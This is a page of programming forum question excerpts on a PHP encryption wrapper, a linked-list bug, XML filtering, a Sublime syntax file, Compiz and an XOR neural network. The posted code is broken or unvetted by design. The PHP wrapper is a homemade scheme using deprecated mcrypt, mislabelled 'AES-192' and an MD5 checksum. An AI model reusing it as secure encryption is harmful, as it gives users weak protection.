    After taking into accound answers for my questions here and here I created (well may-be) improved version of my wrapper. The key issue was what if an attacker is knowing what is encoded - he might then find the key and encode another messages. So I added XOR before encryption. I also in this version prepend IV to the data as was suggested. sha256 on key is only for making sure the key is as long as needed for the aes alg, but I know that key should not be plain text but calculated with many iterations to prevent dictionary attack function aes192ctr_en($data,$key) { $iv = mcrypt_create_iv(24,MCRYPT_DEV_URANDOM); $xor = mcrypt_create_iv(24,MCRYPT_DEV_URANDOM); $key = hash_hmac('sha256',$key,$iv,true); $data = $xor.((string)$data ^ (string)str_repeat($xor,(strlen($data)/24)+1)); $data = hash('md5',$data,true).$data; return $iv.mcrypt_encrypt('rijndael-192',$key,$data,'ctr',$iv); } function aes192ctr_de($data,$key) { $iv = substr($data,0,24); $data = substr($data,24); $key = hash_hmac('sha256',$key,$iv,true); $data = mcrypt_decrypt('rijndael-192',$key,$data,'ctr',$iv); $md5 = substr($data,0,16); $data = substr($data,16); if (hash('md5',$data,true)!==$md5) return false; $xor = substr($data,0,24); $data = substr($data,24); $data = ((string)$data ^ (string)str_repeat($xor,(strlen($data)/24)+1)); return $data; } $encrypted = aes192ctr_en('secret text','password'); echo $encrypted; echo aes192ctr_de($encrypted,'password'); another question is if ctr mode is ok in this context, would it be better if I use cbc mode ? Again, by safe I mean if an attacter could guess password if he knows exact text that was encrypted and knows above method. I assume random and long password here. Maybe instead of XOR will be safer to random initial data with another run of aes or other simpler alg like TEA or trivium ?

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  • Why is this removing all elements from my LinkedList?

    - by Brian
    Why is my remove method removing every element from my Doubly Linked List? If I take out that if/else statements then I can successfully remove middle elements, but elements at the head or tail of the list still remain. However, I added the if/else statements to take care of elements at the head and tail, unfortunately this method now removes every element in my list. What am I do wrong? public void remove(int n) { LinkEntry<E> remove_this = new LinkEntry<E>(); //if nothing comes before remove_this, set the head to equal the element after remove_this if (remove_this.previous == null) head = remove_this.next; //otherwise set the element before remove_this equal to the element after remove_this else remove_this.previous.next = remove_this.next; //if nothing comes after remove_this, set the tail equal to the element before remove_this if (remove_this.next == null) tail = remove_this.previous; //otherwise set the next element's previous pointer to the element before remove_this else remove_this.next.previous = remove_this.previous; //if remove_this is located in the middle of the list, enter this loop until it is //found, then remove it, closing the gap afterwards. int i = 0; for (remove_this = head; remove_this != null; remove_this = remove_this.next) { //if i == n, stop and delete 'remove_this' from the list if (i == n) { //set the previous element's next to the element that comes after remove_this remove_this.previous.next = remove_this.next; //set the element after remove_this' previous pointer to the element before remove_this remove_this.next.previous = remove_this.previous; break; } //if i != n, keep iterating through the list i++; } }

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  • How to make a correct if-statement to filter out values from a xml-file

    - by Garreth 00
    Edit 3: As requested, I'm trying to simplify my question. Here is a sample of some of my data from a xml file: <entry> <title>Entry 1</title> <f:max_value_a>499 999</f:max_value_a> <f:max_value_b>999 999</f:max_value_b> <f:min_value_a>0</f:min_value_a> <f:min_value_b>500 000</f:min_value_b> <f:min_value_c>1 000 000</f:min_value_c> <f:value_for_a>5,10</f:value_for_a> <f:value_for_b>4,50</f:value_for_b> <f:value_for_c>3,90</f:value_for_c> </entry> <entry> <title>Entry 2</title> <f:min_value_a>0</f:min_value_a> <f:value_for_a>4,20</f:value_for_a> </entry> <entry> <title>Entry 3</title> <f:max_value_a>1 999 999</f:max_value_a> <f:min_value_a>100 000</f:min_value_a> <f:min_value_b>2 000 000</f:min_value_b> <f:value_for_a>3,735</f:value_for_a> <f:value_for_b>3,445</f:value_for_b> </entry> f:value_for_d is the highest value, and f:value_for_c is lower than d, and so on. I have a dynamic targetvalue (lets just go with 2 000 000 in this example) I want to get the value where max_value is greater than the targetvalue, but sometimes max_value is not defined and then set to "0". "0" in max_value should mean unlimited "roof". The min_value can not be greater than targetvalue, but sometimes min_value is not defined and then set to "0". "0" min_value should mean a unlimited "floor". I have tried with this code if ($value_for_d > 0 ){ if (($min_value_d <= $targetvalue) xor ($min_value_d == 0)){ if (($max_value_d >= $targetvalue) xor ($max_value_d == 0)){ $query_result = TRUE; $value = $value_for_d; } } }elseif ($value_for_c > 0 ){ if (($min_value_c <= $targetvalue) xor ($min_value_c == 0)){ if (($max_value_c >= $targetvalue) xor ($max_value_c == 0)){ $query_result = TRUE; $value = $value_for_c; } } }elseif ($value_for_b > 0 ){ if (($min_value_b <= $targetvalue) xor ($min_value_b == 0)){ if (($max_value_b >= $targetvalue) xor ($max_value_b == 0)){ $query_result = TRUE; $value = $value_for_b; } } }elseif ($value_for_a > 0 ){ if (($min_value_a <= $targetvalue) xor ($min_value_a == 0)){ if (($max_value_a >= $targetvalue) xor ($max_value_a == 0)){ $query_result = TRUE; $value = $value_for_a; } } } If I run this code with a targetvalue of "2 000 000", I get this result: Entry 1 - 3.9 (correct value is 3.9) Entry 2 - 0 (correct value is 4.2) Entry 3 - 3.445 (correct value is 3.445) If I set the targetvalue to even lower, to 500 000, I get 0 on all my entries.

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  • Sublime text 2 syntax highlighter?

    - by BigSack
    I have coded my first custom syntax highlighter for sublime text 2, but i don't know how to install it. It is based on notepad++ highlighter found here https://70995658-a-62cb3a1a-s-sites.googlegroups.com/site/lohanplus/files/smali_npp.xml?attachauth=ANoY7criVTO9bDmIGrXwhZLQ_oagJzKKJTlbNDGRzMDVpFkO5i0N6hk_rWptvoQC1tBlNqcqFDD5NutD_2vHZx1J7hcRLyg1jruSjebHIeKdS9x0JCNrsRivgs6DWNhDSXSohkP1ZApXw0iQ0MgqcXjdp7CkJJ6pY_k5Orny9TfK8UWn_HKFsmPcpp967NMPtUnd--ad-BImtkEi-fox2tjs7zc5LabkDQ%3D%3D&attredirects=0&d=1 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>fileTypes</key> <array> <string>smali</string> </array> <dict> <key>Word1</key> <string>add-double add-double/2addr add-float add-float/2addr add-int add-int/2addr add-int/lit16 add-int/lit8 add-long add-long/2addr aget aget-boolean aget-byte aget-char aget-object aget-short aget-wide and-int and-int/2addr and-int/lit16 and-int/lit8 and-long and-long/2addr aput aput-boolean aput-byte aput-char aput-object aput-short aput-wide array-length check-cast cmp-long cmpg-double cmpg-float cmpl-double cmpl-float const const-class const-string const-string-jumbo const-wide const-wide/16 const-wide/32 const-wide/high16 const/16 const/4 const/high16 div-double div-double/2addr div-float div-float/2addr div-int div-int/2addr div-int/lit16 div-int/lit8 div-long div-long/2addr double-to-float double-to-int double-to-long execute-inline fill-array-data filled-new-array filled-new-array/range float-to-double float-to-int float-to-long goto goto/16 goto/32 if-eq if-eqz if-ge if-gez if-gt if-gtz if-le if-lez if-lt if-ltz if-ne if-nez iget iget-boolean iget-byte iget-char iget-object iget-object-quick iget-quick iget-short iget-wide iget-wide-quick instance-of int-to-byte int-to-char int-to-double int-to-float int-to-long int-to-short invoke-direct invoke-direct-empty invoke-direct/range invoke-interface invoke-interface/range invoke-static invoke-static/range invoke-super invoke-super-quick invoke-super-quick/range invoke-super/range invoke-virtual invoke-virtual-quick invoke-virtual-quick/range invoke-virtual/range iput iput-boolean iput-byte iput-char iput-object iput-object-quick iput-quick iput-short iput-wide iput-wide-quick long-to-double long-to-float long-to-int monitor-enter monitor-exit move move-exception move-object move-object/16 move-object/from16 move-result move-result-object move-result-wide move-wide move-wide/16 move-wide/from16 move/16 move/from16 mul-double mul-double/2addr mul-float mul-float/2addr mul-int mul-int/2addr mul-int/lit8 mul-int/lit16 mul-long mul-long/2addr neg-double neg-float neg-int neg-long new-array new-instance nop not-int not-long or-int or-int/2addr or-int/lit16 or-int/lit8 or-long or-long/2addr rem-double rem-double/2addr rem-float rem-float/2addr rem-int rem-int/2addr rem-int/lit16 rem-int/lit8 rem-long rem-long/2addr return return-object return-void return-wide rsub-int rsub-int/lit8 sget sget-boolean sget-byte sget-char sget-object sget-short sget-wide shl-int shl-int/2addr shl-int/lit8 shl-long shl-long/2addr shr-int shr-int/2addr shr-int/lit8 shr-long shr-long/2addr sparse-switch sput sput-boolean sput-byte sput-char sput-object sput-short sput-wide sub-double sub-double/2addr sub-float sub-float/2addr sub-int sub-int/2addr sub-int/lit16 sub-int/lit8 sub-long sub-long/2addr throw throw-verification-error ushr-int ushr-int/2addr ushr-int/lit8 ushr-long ushr-long/2addr xor-int xor-int/2addr xor-int/lit16 xor-int/lit8 xor-long xor-long/2addr</string> </dict> <dict> <key>Word2</key> <string>v0 v1 v2 v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18 v19 v20 v21 v22 v23 v24 v25 v26 v27 v28 v29 v30 v31 v32 v33 v34 v35 v36 v37 v38 v39 v40 v41 v42 v43 v44 v45 v46 v47 v48 v49 v50 p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 p10 p11 p12 p13 p14 p15 p16 p17 p18 p19 p20 p21 p22 p23 p24 p25 p26 p27 p28 p29 p30</string> </dict> <dict> <key>Word3</key> <string>array-data .catch .catchall .class .end .end\ local .enum .epilogue .field .implements .line .local .locals .parameter .prologue .registers .restart .restart\ local .source .subannotation .super</string> </dict> <dict> <key>Word4</key> <string>abstract bridge constructor declared-synchronized enum final interface native private protected public static strictfp synchronized synthetic system transient varargs volatile</string> </dict> <dict> <key>Word4</key> <string>(&quot;0)&quot;0</string> </dict> <dict> <key>Word5</key> <string>.method .annotation .sparse-switch .packed-switch</string> </dict> <dict> <key>word6</key> <string>.end\ method .end\ annotation .end\ sparse-switch .end\ packed-switch</string> </dict> <dict> <key>word7</key> <string>&quot; ( ) , ; { } &gt;</string> </dict> <key>uuid</key> <string>27798CC6-6B1D-11D9-B8FA-000D93589AF6</string> </dict> </plist>

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  • Cannot access Compiz Config

    - by Xor power
    I was going through one article here and the topic was "Changing the Size and Appearance of the Unity Launcher" which required to open up CompizConfig from System Settings -- Desktop. I could find System Settings and could reach to control panel but cannot locate either Desktop or CompizConfig. When i go to Software center and search for compizconfig, it says that it is already installed.But when i search it from the list of installed applications, i couldn't find it.??

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  • Cannot access Compiz Config

    - by Xor power
    I was going through one article here and the topic was "Changing the Size and Appearance of the Unity Launcher" which required to open up CompizConfig from System Settings -- Desktop. I could find System Settings and could reach to control panel but cannot locate either Desktop or CompizConfig. When i go to Software center and search for compizconfig, it says that it is already installed.But when i search it from the list of installed applications, i couldn't find it.??

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  • My neural network gets "stuck" while training. Is this normal?

    - by Vivin Paliath
    I'm training a XOR neural network via back-propagation using stochastic gradient descent. The weights of the neural network are initialized to random values between -0.5 and 0.5. The neural network successfully trains itself around 80% of the time. However sometimes it gets "stuck" while backpropagating. By "stuck", I mean that I start seeing a decreasing rate of error correction. For example, during a successful training, the total error decreases rather quickly as the network learns, like so: ... ... Total error for this training set: 0.0010008071327708653 Total error for this training set: 0.001000750550254843 Total error for this training set: 0.001000693973929822 Total error for this training set: 0.0010006374037948094 Total error for this training set: 0.0010005808398488103 Total error for this training set: 0.0010005242820908169 Total error for this training set: 0.0010004677305198344 Total error for this training set: 0.0010004111851348654 Total error for this training set: 0.0010003546459349181 Total error for this training set: 0.0010002981129189812 Total error for this training set: 0.0010002415860860656 Total error for this training set: 0.0010001850654351723 Total error for this training set: 0.001000128550965301 Total error for this training set: 0.0010000720426754587 Total error for this training set: 0.0010000155405646494 Total error for this training set: 9.99959044631871E-4 Testing trained XOR neural network 0 XOR 0: 0.023956746649767453 0 XOR 1: 0.9736079194769579 1 XOR 0: 0.9735670067093437 1 XOR 1: 0.045068688874314006 However when it gets stuck, the total errors are decreasing, but it seems to be at a decreasing rate: ... ... Total error for this training set: 0.12325486644721295 Total error for this training set: 0.12325486642503929 Total error for this training set: 0.12325486640286581 Total error for this training set: 0.12325486638069229 Total error for this training set: 0.12325486635851894 Total error for this training set: 0.12325486633634561 Total error for this training set: 0.1232548663141723 Total error for this training set: 0.12325486629199914 Total error for this training set: 0.12325486626982587 Total error for this training set: 0.1232548662476525 Total error for this training set: 0.12325486622547954 Total error for this training set: 0.12325486620330656 Total error for this training set: 0.12325486618113349 Total error for this training set: 0.12325486615896045 Total error for this training set: 0.12325486613678775 Total error for this training set: 0.12325486611461482 Total error for this training set: 0.1232548660924418 Total error for this training set: 0.12325486607026936 Total error for this training set: 0.12325486604809655 Total error for this training set: 0.12325486602592373 Total error for this training set: 0.12325486600375107 Total error for this training set: 0.12325486598157878 Total error for this training set: 0.12325486595940628 Total error for this training set: 0.1232548659372337 Total error for this training set: 0.12325486591506139 Total error for this training set: 0.12325486589288918 Total error for this training set: 0.12325486587071677 Total error for this training set: 0.12325486584854453 While I was reading up on neural networks I came across a discussion on local minimas and global minimas and how neural networks don't really "know" which minima its supposed to be going towards. Is my network getting stuck in a local minima instead of a global minima?

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  • Need help with this basic Contains<>() extension method and Lambda expressions

    - by Polaris878
    Hi, Say I have the following class: class Foo { // ctor etc here public string Bar { get; } } Now, I have a LinkedList of Foos declared like so: LinkedList<Foo> How would I write a basic Contains<() for this? I want to be able to do this: Foo foo = new Foo(someString); LinkedList<Foo> list = new LinkedList<foo>(); // Populate list with Foos bool contains = list.Contains<Foo>(foo, (x => foo.Bar == x.Bar)); Am I trying to do this correctly? Thanks

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